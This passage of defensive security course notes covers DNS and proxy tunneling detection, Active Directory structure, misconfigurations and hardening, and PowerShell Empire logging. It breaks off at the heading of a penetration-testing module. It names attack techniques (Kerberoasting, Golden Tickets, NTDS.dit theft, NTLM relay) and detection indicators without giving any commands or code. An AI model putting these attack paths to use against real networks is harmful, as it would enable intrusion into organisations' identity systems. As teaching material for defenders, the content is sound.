🌐 DNS-Based Tunneling Detection
DNS tunneling hides data inside DNS requests and responses. Indicators include:
- Very long or random-looking domain names
- High frequency of DNS queries
- Unusual record types (TXT, NULL)
- DNS traffic to untrusted domains
📊 Logs and Telemetry Sources
Effective tunnel detection relies on correlating multiple data sources:
- Firewall and proxy logs
- IDS / IPS alerts
- Endpoint detection (EDR) logs
- DNS logs
- Cloud service access logs
No single log source is enough — correlation is essential.
🛠 Tools Used for Detection
- SIEM platforms (centralized log analysis)
- Network traffic analyzers
- EDR / XDR solutions
- IDS / IPS systems
- DNS monitoring tools
⚔ Attacker vs 🛡 Defender Perspective
Attacker View: Use trusted protocols, encryption, and cloud services to blend in.
Defender View: Focus on behavior, duration, frequency, and anomalies rather than packet content.
📍 Where Monitoring Fits in Security Operations
- Baseline normal network behavior
- Detect deviations and anomalies
- Correlate events across systems
- Investigate suspicious tunnels
- Respond and contain threats
Over-monitoring without context can lead to false positives. Always validate alerts before response.
Monitoring for suspicious tunnels means watching how systems communicate, not just what they communicate.
23.10 Organizational Controls
Organizational controls are the policies, procedures, and governance mechanisms that define how tunneling, port redirection, and remote access technologies are allowed, monitored, and restricted within an organization.
In simple words, these controls ensure that only approved tunneling methods are used, and unauthorized tunnels are detected and blocked before they can be abused.
Unlike technical controls, organizational controls focus on people, processes, and accountability.
🔍 Why Organizational Controls Matter
- 📜 Define what tunneling is allowed or forbidden
- 🧠 Reduce misuse of trusted protocols
- 🧱 Support technical monitoring and enforcement
- ⚖ Provide legal and compliance coverage
- 🚨 Enable faster incident response
Even the best security tools fail without clear rules and ownership.
📑 Acceptable Use Policies (AUP)
An Acceptable Use Policy clearly defines how network resources may be used.
- Approved remote access methods (VPN, SSH)
- Prohibited tunneling tools (unauthorized proxies)
- Restrictions on personal cloud tunneling services
- Consequences for policy violations
Employees using Ngrok or SSH tunnels without approval violate AUP.
🔐 Remote Access & Tunneling Policies
Organizations must define who can create tunnels and under what conditions.
- Centralized VPN usage
- Restricted SSH port forwarding
- Approval for cloud-based tunnels
- Time-limited access for vendors
🧑💼 Role-Based Access Control (RBAC)
RBAC limits tunneling capabilities based on job role.
- Admins allowed SSH tunneling
- Developers allowed local tunnels
- Standard users blocked from tunneling tools
Grant tunneling permissions only when operationally required.
📚 Security Awareness & Training
Employees often create tunnels unknowingly. Training helps reduce risk.
- Dangers of exposing internal services
- Risks of bypassing security controls
- Proper approval channels
- Reporting suspicious activity
📊 Change Management & Documentation
Any approved tunneling setup should be:
- Formally requested
- Risk assessed
- Documented and time-bound
- Reviewed periodically
Temporary tunnels created during testing should be removed afterward.
🛠 Integration with Technical Controls
Organizational controls support technical enforcement such as:
- Firewall and proxy rules
- SIEM alerting
- EDR monitoring
- Cloud access policies
⚔ Attacker vs 🛡 Defender Perspective
Attacker View: Exploit unclear policies and over-trusted users to establish tunnels.
Defender View: Enforce least privilege and accountability to prevent tunnel abuse.
📍 Where Organizational Controls Fit
- Define policies
- Educate users
- Approve or deny tunneling
- Monitor compliance
- Enforce consequences
Organizational controls ensure tunneling is used intentionally, safely, and responsibly.
23.11 Detecting Proxy & Tunneling Abuse
Detecting proxy and tunneling abuse focuses on identifying unauthorized use of proxies, port forwarding, and encrypted tunnels that attackers use to hide activity, bypass security controls, or exfiltrate data.
In simple words, this detection aims to catch situations where legitimate tools and protocols are misused for malicious purposes.
Since proxy and tunneling traffic often looks normal, detection relies on patterns, anomalies, and context rather than simple signature-based rules.
🔍 Why Proxy & Tunneling Abuse Is Dangerous
- 🕵️ Hides attacker command-and-control traffic
- 🔄 Enables lateral movement across networks
- 📤 Facilitates data exfiltration
- 🧱 Bypasses firewall and access controls
- 🔐 Abuses trusted protocols like HTTPS and SSH
Most proxy abuse succeeds because it blends into normal traffic.
📡 Common Signs of Proxy Abuse
- Traffic routed through unexpected proxy servers
- Connections to known anonymization or relay services
- Unusual proxy settings on endpoints
- Web traffic bypassing corporate proxies
- Multiple hosts using the same external proxy
🔐 Indicators of Tunneling Abuse
Tunneling abuse often manifests through abnormal behavior rather than clear malicious signatures.
- Long-lived encrypted sessions with constant traffic
- High data transfer over non-standard ports
- SSH connections carrying non-interactive traffic
- HTTPS sessions with no visible web activity
- DNS queries carrying encoded or random data
A user system sends continuous HTTPS traffic to a cloud service without any browser activity.
🌐 Detecting DNS Tunneling
DNS tunneling is a common abuse technique due to DNS being widely allowed.
- Excessively long domain names
- High entropy (random-looking) subdomains
- Unusual DNS record types (TXT, NULL)
- Large volume of DNS requests from a single host
📊 Log Sources for Detection
Effective detection requires correlating multiple telemetry sources:
- Firewall and proxy logs
- DNS resolver logs
- Endpoint detection (EDR) telemetry
- Network flow (NetFlow) data
- Cloud service access logs
Combine network and endpoint visibility to reduce blind spots.
🛠 Techniques Used by Security Teams
- Baseline normal proxy and tunnel usage
- Alert on deviations and anomalies
- Block unauthorized tunneling tools
- Inspect encrypted traffic metadata
- Correlate events in SIEM platforms
⚔ Attacker vs 🛡 Defender Perspective
Attacker View: Abuse trusted tools and cloud services to remain stealthy.
Defender View: Monitor behavior patterns and context, not just ports or protocols.
📍 Detection Workflow
- Identify abnormal proxy or tunnel behavior
- Correlate across logs and endpoints
- Validate against business use cases
- Investigate suspicious activity
- Contain and remediate abuse
False positives are common. Always confirm intent before response.
Detecting proxy and tunneling abuse means identifying when normal tools are used in abnormal ways.
Module 24 – Active Directory Attacks (Ultra-Level Detailed & Safe)
Active Directory (AD) is the backbone of identity, authentication, and authorization for most enterprise Windows environments. This module provides an ultra-detailed and strictly defensive study of AD structure, authentication flows, misconfigurations, detection strategies, and hardening principles. No exploitation steps are included — only conceptual explanations and monitoring approaches.
24.1 What is Active Directory?
Active Directory (AD) is Microsoft’s centralized identity and directory service designed to manage users, computers, applications, permissions, and security policies across Windows-based enterprise environments. It acts as the authoritative source of identity for authentication and authorization, enabling organizations to securely manage thousands—or even millions—of objects from a single logical framework.
At its core, Active Directory is not just a database. It is a distributed, replicated identity system that integrates authentication protocols, directory services, policy enforcement, and trust relationships to maintain consistency and security across an enterprise network.
📌 Core Purpose of Active Directory
- Centralized Identity Management: All users, computers, and service accounts are managed from a single directory.
- Authentication Authority: AD verifies identities using Kerberos and NTLM-based mechanisms.
- Authorization Control: Determines what authenticated identities are allowed to access.
- Policy Enforcement: Group Policies enforce security baselines and configurations.
- Scalability & Replication: Designed to scale across multiple sites with fault tolerance.
📌 AD Core Components
| Component | Description | Why It Matters for Security |
|---|---|---|
| Domain Controllers (DCs) | Servers that store the Active Directory database and handle authentication | DC compromise grants full control over identities and trust relationships |
| Active Directory Domain Services (AD DS) | Directory engine storing users, groups, computers, and attributes | Improper permissions here lead to privilege escalation paths |
| Group Policy Objects (GPOs) | Centralized configuration and security enforcement mechanism | Misconfigured GPOs can weaken endpoint and domain security |
| DNS Integration | Name resolution system used to locate domain services | DNS failures or manipulation disrupt authentication and trust |
| Kerberos Authentication | Ticket-based authentication protocol | Weak configurations expose credential replay and misuse risks |
1. What Is a Domain Controller?
A Domain Controller (DC) is a Windows Server that runs Active Directory Domain Services (AD DS). It is responsible for authenticating users, computers, and services within a Windows domain.
- ✔ Centralized authentication and authorization
- ✔ Stores Active Directory database (NTDS.dit)
- ✔ Enforces Group Policy Objects (GPOs)
- ✔ Issues Kerberos tickets
- ✔ Acts as a trusted identity authority
- Dump password hashes
- Create Domain Admin accounts
- Impersonate any user
- Persist invisibly for long periods
2. Active Directory Domain Services (AD DS)
AD DS is the logical directory that defines identity, permissions, and trust relationships. It is not just a database — it is the decision-making engine behind every access request.
- 👤 User & service accounts (with password hashes)
- 💻 Computers & servers joined to the domain
- 👥 Groups used for access control
- 🏢 OUs for administrative delegation
- 🧬 ACLs defining who can modify what
Most real-world AD breaches happen due to over-permissioned objects, not exploits.
3. Group Policy Objects (GPOs)
Group Policy Objects enforce security and configuration automatically across the domain. They ensure consistent behavior without manual configuration.
- 🔒 Password, lockout, and audit policies
- 🧱 Firewall, Defender, and security baselines
- 🚫 Restrict scripts, PowerShell, USB devices
- 📜 Execute startup/logon scripts
- 🧠 Apply via LSDOU order
- Disabling antivirus domain-wide
- Deploying malware via scripts
- Adding attackers to local admins
4. DNS Integration
DNS allows systems to locate Domain Controllers and services. Active Directory relies on DNS records to function correctly.
- 🌐 SRV records locate DCs
- 🔍 Enables LDAP & Kerberos discovery
- 🔁 Supports multi-DC replication
- Login failures
- Replication breakdowns
- Traffic redirection attacks
5. Kerberos Authentication
Kerberos provides secure authentication using time-based, encrypted tickets instead of transmitting passwords.
- 🎫 TGT proves identity
- 🎟️ TGS grants service access
- ⏱️ Time synchronization required
- 🤝 Enables seamless SSO
- Kerberoasting
- Golden / Silver Tickets
- Pass-the-Ticket
Active Directory security is only as strong as its weakest configuration. Protecting each component is critical to protecting the entire enterprise.
🔍 How Active Directory Works (Conceptual Flow)
- A user or computer attempts to log in to the domain.
- The request is sent to a Domain Controller acting as a Key Distribution Center (KDC).
- The KDC validates credentials and issues authentication tickets.
- Authorization decisions are made based on group memberships and access control lists (ACLs).
- Group Policies are applied to enforce security and configuration settings.
⚠️ Why Active Directory Becomes a High-Value Target
Active Directory aggregates identity, privilege, and trust into a single system. This concentration makes it extremely powerful—but also extremely sensitive. A single misconfiguration can create cascading security failures across the entire enterprise.
- Single Point of Authority: AD controls authentication for nearly all enterprise resources.
- Privilege Inheritance: Group membership can indirectly grant elevated permissions.
- Implicit Trust: Domain members inherently trust Domain Controllers.
- Legacy Compatibility: Older protocols and configurations may still be enabled.
🧠 AD Objects and Security Boundaries
Every item stored in Active Directory is an object with attributes and permissions. Objects exist within a defined security boundary and inherit permissions based on their placement in the directory hierarchy.
- User Objects: Represent human or service identities.
- Computer Objects: Represent domain-joined machines.
- Group Objects: Used for permission aggregation.
- Service Accounts: Used by applications and services.
🛡️ Defensive Takeaways
- ✔ Active Directory is a security control plane, not just a directory.
- ✔ Most AD-related incidents stem from configuration weaknesses.
- ✔ Strong visibility into authentication, GPOs, and permissions is essential.
- ✔ Understanding AD fundamentals is mandatory before any security assessment.
24.2 AD Structure & Roles
Active Directory (AD) is built on a layered logical and functional structure designed to support scalability, security boundaries, and centralized control. Understanding how AD is structured—and how responsibilities are distributed across roles—is essential for evaluating risk, enforcing governance, and detecting abnormal behavior.
AD structure defines where authority exists, while AD roles define how that authority is exercised. Misunderstanding either can lead to improper delegation, privilege sprawl, and weak security boundaries.
🏛️ Logical Structure of Active Directory
The logical structure of Active Directory represents how identity objects are organized and governed. This structure is independent of physical network topology and focuses on administrative and security boundaries.
- Forest – The highest-level security boundary in Active Directory. A forest contains one or more domains that share a common schema, configuration, and global catalog.
- Domain – A logical partition within a forest. Domains share a common directory database, authentication policies, and security trust relationships.
- Organizational Units (OUs) – Containers used to organize users, computers, and groups for delegation and Group Policy application.
- Groups – Collections of objects used to simplify permission management and access control.
- Objects – Individual directory entries such as users, computers, service accounts, printers, and applications.
🌲 Forest: The Ultimate Security Boundary
A forest represents the maximum scope of trust in Active Directory. All domains within a forest inherently trust each other. This means a compromise in one domain can potentially affect others if proper isolation is not enforced.
- Shared Schema: Defines object classes and attributes across the forest.
- Global Catalog: Enables object discovery across domains.
- Enterprise-wide Trust: Automatic trust between all domains.
🏢 Domain: Administrative and Authentication Unit
A domain is the primary unit of authentication and policy enforcement. All users and computers in a domain share a common security database, password policy, and account lockout rules.
- Domain Controllers replicate directory data within the domain.
- Authentication requests are processed at the domain level.
- Domain Admins have elevated privileges across the domain.
🗂️ Organizational Units (OUs)
Organizational Units provide logical separation within a domain. They are commonly used to apply Group Policies and delegate administrative control without granting full domain privileges.
- Enable fine-grained policy application.
- Allow role-based delegation of administrative tasks.
- Help model organizational structure and security tiers.
👥 Groups and Access Control
Groups are the primary mechanism for assigning permissions in Active Directory. They simplify access control by allowing permissions to be granted collectively rather than individually.
- Security Groups: Used to grant access to resources.
- Distribution Groups: Used primarily for email distribution.
- Nested Groups: Groups can contain other groups, increasing complexity.
🔧 Functional Roles (FSMO)
Flexible Single Master Operations (FSMO) roles prevent conflicts in distributed environments by assigning specific responsibilities to individual Domain Controllers.
| FSMO Role | Scope | Security Significance |
|---|---|---|
| Schema Master | Forest | Controls schema changes affecting all domains |
| Domain Naming Master | Forest | Prevents unauthorized domain creation |
| RID Master | Domain | Ensures unique security identifiers |
| PDC Emulator | Domain | Central authority for time sync and authentication anomalies |
| Infrastructure Master | Domain | Maintains cross-domain object references |
🛡️ Defensive Takeaways
- ✔ AD structure defines security boundaries and trust relationships.
- ✔ FSMO roles are critical control points and must be protected.
- ✔ Proper OU and group design reduces privilege sprawl.
- ✔ Understanding structure is essential before implementing monitoring or hardening.
24.3 Common AD Misconfigurations (Defensive Lens)
The majority of Active Directory–related security incidents are not caused by flaws in Microsoft’s authentication protocols, but by configuration weaknesses, poor governance, and operational drift. Over time, environments accumulate risky settings that silently weaken security boundaries and increase blast radius.
This section examines the most common and impactful AD misconfigurations from a defensive perspective, explaining why they are dangerous, how they manifest in real environments, and what defenders should monitor.
🔥 High-Risk AD Misconfigurations
- Weak password policies – Short passwords, no complexity, or no rotation requirements increase the likelihood of credential compromise.
- Excessive administrative privileges – Overuse of Domain Admin, Enterprise Admin, or privileged groups.
- Unconstrained delegation – Allows credential exposure across services.
- Legacy protocols enabled – NTLM, SMBv1, and unsigned LDAP.
- Service accounts with SPNs and weak passwords – High-value identities often overlooked.
- GPO misconfigurations – Unsafe permissions or insecure system settings.
- Insufficient audit logging – Inability to detect or investigate incidents.
- Stale or orphaned privileged accounts – Accounts that no longer have a business owner.
🔑 Weak Password and Authentication Policies
Password policy misconfigurations remain one of the most widespread weaknesses in Active Directory environments. Organizations often relax policies to reduce user friction, unintentionally increasing exposure.
- Low minimum password length
- No complexity or character requirements
- Long password expiration intervals
- No account lockout thresholds
👑 Excessive Privileges & Privilege Sprawl
Privilege sprawl occurs when elevated access is granted broadly and rarely revoked. Over time, this erodes the principle of least privilege and dramatically increases the impact of a single account compromise.
- Too many members in Domain Admins
- Nested privileged groups obscuring access paths
- Use of admin accounts for daily activities
- Lack of privileged access review
🔄 Delegation Misconfigurations
Delegation allows services to act on behalf of users, but improper delegation settings create opportunities for unintended credential exposure.
- Unconstrained Delegation: Services can impersonate users to any resource.
- Constrained Delegation: Safer, but still risky if misapplied.
- Resource-Based Delegation: Requires strict control and auditing.
📡 Legacy and Insecure Protocols
Many AD environments retain legacy protocols for compatibility with older systems. These protocols often lack modern security protections.
- NTLM authentication enabled
- SMBv1 still active
- LDAP signing not enforced
- Unsigned or unencrypted traffic
🧾 Service Accounts & SPNs
Service accounts often run critical applications but are frequently excluded from standard security hygiene practices.
- Passwords never rotated
- Shared service accounts across systems
- Excessive privileges granted “just in case”
- SPNs assigned without oversight
📜 Group Policy Misconfigurations
Group Policy Objects are powerful and can enforce security—or undermine it if misconfigured.
- Weak local administrator password policies
- Overly permissive GPO editing rights
- Startup scripts executing insecure code
- Conflicting or undocumented policies
📊 Insufficient Logging & Monitoring
Without proper logging, defenders cannot detect or investigate suspicious activity. Many environments log too little—or do not centralize logs.
- Audit policies not fully enabled
- No central log collection (SIEM)
- Short log retention periods
- No alerts for privilege changes
🛡️ Defensive Takeaways
- ✔ Most AD breaches stem from preventable misconfigurations
- ✔ Privilege and delegation must be tightly controlled
- ✔ Legacy compatibility often introduces hidden risk
- ✔ Continuous auditing is essential for AD security
24.4 Authentication Weaknesses (Safe, Conceptual Only)
Active Directory authentication is built on mature and well-tested protocols such as Kerberos, NTLM, and token-based authorization. In properly configured environments, these mechanisms are robust. However, authentication weaknesses almost always arise from configuration errors, legacy compatibility settings, or excessive privileges, not from flaws in the protocols themselves.
This section focuses on how authentication works conceptually, where defensive gaps appear, and what defenders should monitor to detect abnormal behavior early. No offensive or exploitative techniques are discussed.
🔑 Kerberos Authentication (Conceptual Overview)
Kerberos is the default authentication protocol in modern Active Directory environments. It is a ticket-based system designed to prevent plaintext password transmission across the network.
- The client authenticates to the Key Distribution Center (KDC).
-
The KDC issues a Ticket Granting Ticket (TGT) encrypted with the
krbtgtaccount key. - The client uses the TGT to request service tickets (TGS).
- The client presents the service ticket to the target service.
📡 NTLM and Legacy Authentication
NTLM exists primarily for backward compatibility with older systems. Unlike Kerberos, NTLM does not provide the same level of mutual authentication and is more susceptible to misuse in poorly configured environments.
- NTLM is often enabled to support legacy applications.
- Fallback to NTLM may occur if Kerberos fails.
- NTLM traffic is harder to audit and protect at scale.
🎟️ Token-Based Authorization
After successful authentication, Windows systems rely on access tokens to represent a user’s identity and privileges. These tokens contain group memberships, privileges, and integrity levels.
- Tokens are generated at logon and reused across sessions.
- Group membership directly affects token privilege level.
- Over-privileged accounts receive overly powerful tokens.
⚠️ Common Authentication Configuration Weaknesses
Authentication weaknesses typically emerge when identity hygiene and access governance are not enforced consistently.
- Weak service account passwords: Increases the risk of unauthorized ticket usage.
- Improper delegation configuration: Allows credentials to be exposed beyond intended scope.
- Kerberos fallback to NTLM: Occurs when SPNs or DNS are misconfigured.
- Over-permissioned user accounts: Results in powerful authentication tokens.
- Inconsistent time synchronization: Causes Kerberos authentication failures.
🔄 Delegation and Authentication Risk
Delegation allows services to act on behalf of users, which is necessary for many enterprise applications. However, mismanaged delegation significantly increases authentication risk.
- Unconstrained delegation: Broad impersonation capability with high risk.
- Constrained delegation: Safer but still requires strict oversight.
- Resource-based delegation: Offers better control when implemented correctly.
📊 Defensive Monitoring & Detection
Effective detection of authentication weaknesses relies on strong visibility into authentication events, ticket usage, and privilege changes.
- Monitor Kerberos authentication failures and ticket issuance rates.
- Track NTLM usage and identify systems relying on legacy authentication.
- Alert on sudden changes in group membership or delegation settings.
- Correlate authentication logs with time synchronization events.
🛡️ Defensive Hardening Principles
- ✔ Enforce strong password and service account policies
- ✔ Minimize and audit delegation usage
- ✔ Reduce or eliminate NTLM dependencies
- ✔ Ensure consistent time synchronization across domain controllers
- ✔ Review privileged group memberships frequently
24.5 AD Hardening Techniques (Defensive Best Practices)
Active Directory hardening is the process of systematically reducing the attack surface, limiting privilege abuse, and increasing visibility into identity-related activity. Effective hardening focuses on prevention, containment, and detection, not just configuration.
A hardened AD environment assumes that compromises may occur and is designed to limit blast radius, slow lateral movement, and enable rapid detection and response.
🛡️ Core Hardening Principles
- ✔ Principle of Least Privilege: Grant only the minimum permissions required for each role.
- ✔ Tiered Administration Model (Tier 0 / 1 / 2): Isolate critical identity infrastructure from standard user environments.
- ✔ Strong Authentication Policies: Enforce long passwords, complexity, MFA where possible, and password vaulting.
- ✔ Service Account Hygiene: Replace static passwords with managed service accounts (gMSA) or automated rotation.
- ✔ Legacy Protocol Reduction: Disable NTLM, SMBv1, and unsigned LDAP where compatibility allows.
- ✔ krbtgt Protection: Rotate krbtgt credentials regularly and after major security events.
- ✔ Domain Controller Protection: Treat DCs as Tier 0 assets with strict network and access controls.
- ✔ Privilege Auditing: Continuously review and justify all privileged group memberships.
🏗️ Tiered Administration Model
The tiered administration model separates identities and systems based on their security sensitivity, preventing credential reuse across trust boundaries.
- Tier 0: Domain Controllers, AD services, identity infrastructure.
- Tier 1: Servers and applications.
- Tier 2: User workstations and endpoints.
🔐 Account & Credential Hardening
Strong identity hygiene is the foundation of AD security. Weak or unmanaged credentials undermine all other controls.
- Enforce strong password policies and prohibit password reuse.
- Implement multi-factor authentication for privileged accounts.
- Use separate admin accounts for privileged tasks.
- Eliminate shared accounts wherever possible.
🧾 Service Account Hardening
Service accounts are often long-lived and highly privileged, making them a critical hardening priority.
- Use Group Managed Service Accounts (gMSA) when supported.
- Restrict service account permissions to specific services.
- Rotate credentials automatically and frequently.
- Monitor authentication activity for service accounts separately.
🏰 Domain Controller Protection
Domain Controllers represent the highest-value assets in Active Directory. Their protection should exceed standard server security baselines.
- Restrict network access to DCs using firewalls and segmentation.
- Allow logons only from dedicated administrative workstations.
- Enable advanced auditing and centralized logging.
- Monitor for configuration drift and unauthorized changes.
📘 Monitoring & Detection
Hardening without visibility creates a false sense of security. Continuous monitoring ensures that deviations from baseline are detected quickly.
- Monitor Kerberos and NTLM authentication events.
- Alert on privileged group membership changes (e.g., Event IDs 4728, 4732, 4756).
- Track Group Policy modifications and link changes.
- Enable PowerShell Script Block Logging for administrative activity.
- Use endpoint telemetry (e.g., Sysmon) on critical systems.
📋 Governance & Continuous Improvement
Sustainable AD security requires governance structures that enforce accountability and regular review.
- Conduct regular privilege and access reviews.
- Document and approve all AD changes through change management.
- Perform periodic AD security assessments and baselining.
- Train administrators on secure identity practices.
24.6 Active Directory Setup from Scratch (Windows Server)
Before performing Active Directory attacks or applying hardening techniques, it is essential to understand how an AD environment is built. This section provides a step-by-step guide to setting up Active Directory Domain Services (AD DS) using Windows Server.
This lab-based setup mirrors real enterprise environments and forms the foundation for learning AD misconfigurations, attacks, and defenses.
Follow this detailed external guide for screenshots and exact configuration steps:
👉 Active Directory Domain Services Setup (Windows Server)
24.7 Managing Active Directory Objects (OU, Users, Groups & Computers)
Active Directory organizes resources using logical objects. Understanding how to create and manage these objects is essential for administration, security, and Group Policy enforcement.
📂 Organizational Unit (OU)
An Organizational Unit (OU) is a container used to organize users, groups, computers, and other OUs within a domain. OUs are primarily used for delegation and Group Policy application.
- ✔ Logical organization of AD objects
- ✔ Enables Group Policy targeting
- ✔ Supports administrative delegation
🛠️ How to Create an OU
- Open Active Directory Users and Computers
- Right-click the domain (e.g.
NotesTime.local) - Select New → Organizational Unit
- Enter OU name (e.g. IT, HR)
- Click OK
👤 User Object
A User object represents an individual identity used to log in, access resources, and receive permissions within the domain.
- ✔ Used for authentication
- ✔ Assigned permissions via groups
- ✔ Controlled by Group Policies
🛠️ How to Create a User
- Open Active Directory Users and Computers
- Navigate to desired OU
- Right-click → New → User
- Enter name and username (e.g.
jdoe) - Set password and account options
- Click Finish
👥 Group Object
A Group object is used to assign permissions to multiple users or computers at once, simplifying access management.
- ✔ Centralized permission management
- ✔ Users inherit access via group membership
- ✔ Reduces administrative overhead
🛠️ How to Create a Group
- Right-click desired OU
- Select New → Group
- Enter group name (e.g.
IT-Admins) - Group scope: Global
- Group type: Security
- Click OK
💻 Computer Object
A Computer object represents a machine that is joined to the Active Directory domain.
- ✔ Represents domain-joined systems
- ✔ Receives computer-based Group Policies
- ✔ Used for access control and auditing
🛠️ How to Create a Computer Object
- Open Active Directory Users and Computers
- Right-click desired OU
- Select New → Computer
- Enter computer name (e.g.
WIN10-CLIENT) - Click OK
24.8 Active Directory Core Services & Internals
Active Directory is not a single service but a tightly integrated system composed of DNS, authentication protocols, directory databases, and replication mechanisms. Understanding these internal dependencies is critical for secure administration, troubleshooting, and defense.
🌐 Why DNS Is Mandatory for Active Directory
Active Directory is 100% dependent on DNS. DNS is not optional, not a helper service, and not a backup component — it is the backbone of AD.
🔍 What DNS Does During a Login
- User enters username and password
- Client queries DNS for a Domain Controller
- DNS responds with SRV records
- Client connects to the Domain Controller
- Kerberos authentication begins
📌 Critical DNS Records Used by AD
_ldap._tcp.dc._msdcs.domain– LDAP services_kerberos._tcp.domain– Kerberos authentication- A records – Domain Controller IP addresses
- Users cannot log in
- Computers cannot join the domain
- Group Policy fails
- Kerberos authentication breaks
- Domain Controller DNS should point to itself
- Never use public DNS (e.g., 8.8.8.8) on a DC
🌐 Why Use NotesTime.local in a Lab?
When creating an Active Directory forest, a domain namespace is required. For labs and training environments, a non-public internal domain is the safest and recommended approach.
- ✔ Not publicly resolvable on the internet
- ✔ Prevents DNS conflicts with real domains
- ✔ Safe for malware testing and security labs
- ✔ Commonly used in AD training environments
corp.company.com.
🔐 Authentication in Active Directory
🔑 Kerberos Authentication (Default)
- ✔ Ticket-based authentication
- ✔ Mutual authentication
- ✔ Resistant to replay attacks
- ✔ Requires accurate time synchronization
🧾 NTLM Authentication (Legacy)
- ⚠️ Challenge-response based
- ⚠️ Vulnerable to relay and pass-the-hash attacks
- ⚠️ Used only for legacy compatibility
👑 FSMO Roles in Active Directory
FSMO roles prevent conflicts by ensuring only one Domain Controller performs certain critical tasks.
- Schema Master – Controls AD object definitions
- Domain Naming Master – Prevents duplicate domains
- RID Master – Issues unique IDs
- PDC Emulator – Passwords, lockouts, time sync
- Infrastructure Master – Cross-domain references
🧩 What Is a Service Principal Name (SPN)?
A Service Principal Name (SPN) is a unique identifier that associates a service instance with a service account in Active Directory. Kerberos uses SPNs to locate the correct service account during authentication.
- ✔ Links services to service accounts
- ✔ Required for Kerberos authentication
- ✔ Commonly used by SQL, IIS, Exchange, CIFS
- Kerberos authentication failures
- Authentication fallback to NTLM
- Kerberoasting attack opportunities
🔄 How Authentication Works in Active Directory
- User logs in with username and password
- Client contacts a Domain Controller
- Kerberos Ticket Granting Ticket (TGT) is issued
- Client requests a service ticket using an SPN
- Service validates the ticket and grants access
🛡️ Why Domain Controller Security Is Critical
A Domain Controller represents the highest privilege level in a Windows environment. Compromise of a single DC equals compromise of the entire domain.
- 🚫 Never browse the internet from a DC
- 🚫 Never install third-party software
- 🚫 Never use DCs for daily administration
- ✔ Apply hardening immediately after installation
🗄️ Active Directory Database, Logs & SYSVOL Explained
When a Windows Server is promoted to a Domain Controller, Active Directory automatically creates critical system folders used for authentication, replication, and policy enforcement.
-
📂 NTDS Database Folder
Path:C:\Windows\NTDS
File: NTDS.dit
Purpose: Stores all AD objects and password hashes -
🧾 NTDS Log Files
Path:C:\Windows\NTDS
Files:.log,.edb
Purpose: Transaction logging and crash recovery -
📁 SYSVOL Folder
Path:C:\Windows\SYSVOL
Contains: Group Policies and logon scripts
Replication: DFS Replication (DFSR)
⚔️ Common Active Directory Attack Targets
- NTDS.dit Database Theft – All user accounts and hashes
- Kerberoasting (SPN Abuse) – Weak service account passwords
- NTLM Relay Attacks – Legacy authentication abuse
- SYSVOL GPO Abuse – Malicious scripts across the domain
Understanding how attacks work helps administrators harden Active Directory, detect suspicious behavior, and prevent misconfigurations.
Module 25 – PowerShell Empire (Ultra-Level Detailed & Safe)
PowerShell Empire is a post-exploitation framework historically used for automation, remote management, and red team exercises. In this module, we explore Empire from a defensive and analytical perspective — understanding its architecture, communication model, PowerShell mechanisms, and detection surfaces. No offensive usage or exploitation steps are included.
25.1 What is PowerShell Empire?
PowerShell Empire (commonly called “Empire”) is an automated PowerShell-based framework designed for remote management, command execution, and post-exploitation simulation in authorized red team exercises. From a defender’s perspective, Empire is important because it relies heavily on PowerShell, making it highly visible when proper logging and monitoring are enabled.
🎯 Empire in Defensive Context
- ✔ Used to simulate attacker activity in controlled environments
- ✔ Helps defenders identify visibility gaps
- ✔ Demonstrates importance of PowerShell logging
- ✔ Useful for studying command execution flows & remote management channels
25.2 Empire Architecture Overview (Safe)
Empire follows a modular architecture consisting of a server controller (“Listener”), agents on endpoints, and communication channels built on encrypted transports. Understanding this architecture helps defenders map observable behaviors.
🧩 Core Components
| Component | Description | Defensive Relevance |
|---|---|---|
| Listener | Receives agent connections; controls communication | Network monitoring point (TLS, HTTP patterns) |
| Agent | PowerShell-based code running on target machine | PowerShell logs, process creation, AMSI events |
| Modules | Scripts for automation, collection & remote tasks | ASR rules & ScriptBlock logs catch usage |
| Stagers | Initial code responsible for agent setup | ScriptBlock events + network signatures |
| Communication Channels | HTTP(S), DNS, named pipes, etc. | Firewall & proxy detection paths |
25.3 Script Execution Concepts (PowerShell Internals)
Empire heavily leverages core PowerShell features. Understanding these features helps defenders detect misuse.
🔍 Key PowerShell Internals
- ✔ ScriptBlock execution
- ✔ Encoded commands
- ✔ PowerShell remoting channels
- ✔ In-memory execution (no file on disk)
- ✔ Reflection & .NET API calls
📘 Defensive Insights
- ✔ PowerShell ScriptBlock logging captures decoded content
- ✔ AMSI (Antimalware Scan Interface) scans script content prior to execution
- ✔ Module logging reveals loaded modules & execution events
- ✔ Constrained Language Mode reduces risky script behaviors
- ✔ Event ID 4104 is a major detection point
25.4 Logging & Monitoring Empire Activity
Empire activity creates numerous forensic artifacts detectable through Windows logging infrastructure and EDR solutions.
📑 Logging Sources
- PowerShell Logs – ScriptBlock, Module, Transcription
- Windows Event Logs – Process creation, network connections
- Sysmon – Process, registry, pipe, file events
- Proxy/Firewall Logs – Outbound traffic anomalies
- EDR Telemetry – In-memory execution, command logs
📌 Key Events to Monitor
| Log Type | Event | Relevance |
|---|---|---|
| PowerShell | 4104, 4103 | Script execution & pipeline activity |
| Sysmon | 1, 3, 11 | Process creation, network flow, file events |
| Windows Security | 4688 | Process creation & command-line usage |
| Windows PowerShell | 600, 403 | Engine state & script invocation |
| EDR alerts | Varies | Memory execution, obfuscated commands |
25.5 PowerShell Security Best Practices
Strong PowerShell security reduces risk and prevents misuse of automation frameworks. Below are industry-standard hardening controls.
🛡️ Essential Hardening Techniques
- ✔ Enable PowerShell logging (ScriptBlock, Module, Transcription)
- ✔ Enable AMSI (Anti-Malware Scan Interface)
- ✔ Enforce Constrained Language Mode for non-admin users
- ✔ Apply AppLocker or WDAC policies
- ✔ Audit & limit remote PowerShell usage (WinRM)
- ✔ Use Just Enough Administration (JEA)
- ✔ Disable unneeded v1 engine and restrict elevated shells
🔐 Secure Execution Concepts
- ✔ Block unsigned scripts (Execution Policy + WDAC)
- ✔ Rotate and protect admin credentials
- ✔ Monitor all remote command execution events
- ✔ Detect suspicious encoded commands
- ✔ Maintain PowerShell version updates
Module 26 – Penetration Test Breakdown (Ultra-Level Detailed & Safe)
A penetration test is a structured, authorized security assessment designed to evaluate an organization’s resilience against cyber threats. This module breaks down the entire lifecycle of a pentest — from planning to reporting — focusing on safe, lawful, and professional methodologies. No exploitation steps or harmful actions are included.
This module covers ethical, legal, and procedural penetration testing concepts only. It teaches methodology, documentation, evidence handling, and reporting — not how to perform attacks.
26.1 Pre-Engagement Activities
